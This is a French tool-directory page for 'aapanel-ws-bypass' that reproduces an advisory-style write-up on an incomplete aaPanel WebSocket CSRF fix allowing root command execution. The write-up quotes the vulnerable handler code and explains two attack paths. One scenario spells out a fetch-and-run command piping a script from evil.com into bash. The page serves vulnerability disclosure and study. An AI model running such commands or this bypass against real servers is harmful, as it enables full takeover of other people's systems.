Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
aapanel-ws-bypass — aaPanel WebSocket CSRF Bypass menant à RCE (Correction incomplète pour CVE-2021-37840) | Kitploit
Outils/GitHubGitHub/eonsecurity/aapanel-ws-bypass
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

aaPanel WebSocket CSRF Bypass menant à RCE (Correction incomplète pour CVE-2021-37840)

Voir le dépôt
29il y a 3 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

aaPanel : Les fournisseurs ne corrigent pas toujours correctement les choses

Un correctif incomplet pour CVE-2021-37840 expose encore 3,6 millions de serveurs à une RCE root, 5 ans plus tard

Découvert par : EON Security
CVE : Attribution en attente
CVSS : 8.8 (Élevé) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affecté : Versions aaPanel 6.8.12 à 7.65.0 (toutes les versions depuis le correctif de 2021)
Base installée : Plus de 3,6 millions de serveurs


La version courte

En 2021, une vulnérabilité de Cross-Site WebSocket Hijacking (CVE-2021-37840) a été divulguée dans aaPanel, un panneau de contrôle d'hébergement gratuit fonctionnant sur plus de 3,6 millions de serveurs. Le fournisseur a ajouté une vérification de jeton CSRF pour la "corriger".

Le correctif était architecturalement erroné.

Au lieu de rejeter les connexions WebSocket non authentifiées au niveau HTTP (renvoyant 401), le correctif laisse passer toutes les connexions (renvoie 101 Switching Protocols) et vérifie uniquement l'authentification à l'intérieur du gestionnaire — après que la WebSocket soit déjà établie. La vérification CSRF qu'ils ont ajoutée peut être contournée de plusieurs façons.

EON Security a découvert que, 5 ans plus tard, toutes les versions d'aaPanel sont encore vulnérables à la même classe d'attaque.

Ce n'est que le 10e CVE jamais attribué à aaPanel en plus de 6 ans d'existence.



Ce que cela signifie en termes simples

Si vous utilisez aaPanel, voici ce qu'un attaquant peut vous faire :

Scénario 1 : Un admin clique sur un mauvais lien

  1. Quelqu'un de votre équipe clique sur un lien qu'il ne devrait pas (email, pub, message)
  2. Cette page ouvre secrètement une connexion WebSocket vers votre aaPanel — votre navigateur inclut automatiquement votre cookie de connexion car vous êtes déjà connecté
  3. aaPanel voit une session valide et laisse passer la connexion — l'auth est acceptée
  4. L'attaquant envoie curl http://evil.com/payload.sh | bash — cette commande s'exécute en tant que root sur votre serveur
  5. Votre serveur est désormais entièrement compromis : sites web volés, bases de données effacées, malwares servis à vos visiteurs

Un seul clic suffit. Un clic malencontreux et l'attaquant possède tout.

Scénario 2 : Fuite d'une clé API

  1. Une clé API se retrouve là où elle ne devrait pas — dans un dépôt GitHub public, une sauvegarde de configuration, les notes d'un développeur
  2. L'attaquant s'authentifie avec cette clé et ouvre une WebSocket vers aaPanel
  3. La vérification CSRF voit "c'est une requête authentifiée par API" et saute complètement la vérification — c'est un contournement dur intégré dans le code
  4. L'attaquant exécute des commandes en tant que root immédiatement
  5. Pas de clic admin, pas d'avertissements, pas de journaux qui semblent anormaux — juste une compromission instantanée

C'est le problème le plus important. La protection CSRF ne s'applique pas du tout aux requêtes authentifiées par API. Elle a été conçue pour vérifier les connexions basées sur le navigateur, mais le chemin de code pour l'accès API la contourne complètement.

Dans les deux cas, 3,6 millions de serveurs sont affectés. Toutes les versions depuis 2021.

  1. Les 10 points de terminaison WebSocket acceptent les connexions avant de vérifier qui vous êtes — renvoie HTTP 101 Switching Protocols avant de vérifier l'authentification
  2. La vérification CSRF a des conditions de contournement dures — g.api_request=True (requêtes authentifiées par API) et g.is_aes=True (requêtes chiffrées AES) ignorent complètement la vérification
  3. Le point de terminaison /sock_shell exécute des commandes arbitraires — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. Le point de terminaison /webssh accepte des identifiants SSH fournis par l'attaquant — connexion à n'importe quel hôte SSH
  5. S'exécute en tant que root — compromission totale du serveur

Détails de la vulnérabilité

1. Les points de terminaison WebSocket acceptent les connexions avant l'auth

Tous les points de terminaison WebSocket renvoient HTTP 101 Switching Protocols avant toute vérification d'authentification. La vérification d'auth comm.local() s'exécute à l'intérieur du gestionnaire, après que la mise à niveau WebSocket soit déjà terminée :

@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Vérification d'auth APRÈS le 101
    if comReturn:
        ws.send(str(comReturn))
        return

Points de terminaison concernés :

  • /webssh (proxy terminal SSH)
  • /sock_shell (exécution directe de commandes)
  • /ws_panel (gestion du panneau)
  • /ws_home (tableau de bord)
  • /ws_project (gestion de projet)
  • /ws_model (gestion de modèle)
  • /workorder_client (système de tickets)
  • /v2/* variantes de tous les ci-dessus

2. Contournement de la vérification du jeton CSRF

La fonction check_csrf_websocket() est conçue pour empêcher le Cross-Site WebSocket Hijacking :

def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Contournement : le mode AES ignore la vérification
    if g.api_request: return True    # ← Contournement : les requêtes API ignorent la vérification
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

Deux conditions de contournement dures existent :

  • g.api_request : Quand True (défini lors de l'authentification par clé API), la vérification CSRF est entièrement ignorée. Toute session WebSocket authentifiée par API contourne cette protection.
  • g.is_aes : Quand True (défini lors des requêtes API chiffrées AES), la vérification CSRF est également ignorée.

La comparaison de token (get_csrf_sess_html_token_value()) renvoie session.get('request_token_head', ""). Dans les sessions où cette valeur n'est pas encore initialisée, un x-http-token vide passe la vérification.

3. Exécution de commandes via sock_shell

Le point de terminaison /sock_shell passe les chaînes fournies par l'attaquant directement à subprocess.Popen avec shell=True :

def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Exécution de commande arbitraire
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

Chaque message reçu sur la WebSocket est exécuté comme une commande shell. La sortie est renvoyée en flux via WebSocket. Comme aaPanel s'exécute en tant que root, il s'agit d'une compromission complète du système.

4. Proxy SSH via webssh

Le point de terminaison /webssh accepte les paramètres de connexion SSH fournis par l'attaquant à partir du premier message WebSocket :

ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

Si l'hôte est 127.0.0.1 ou localhost, le gestionnaire vérifie la base de données pour les identifiants sauvegardés, ou utilise ceux fournis par l'attaquant.


Scénario d'attaque

La voie d'exploitation principale est le CSWSH (Cross-Site WebSocket Hijacking) nécessitant une interaction utilisateur :

Télécharger l’outil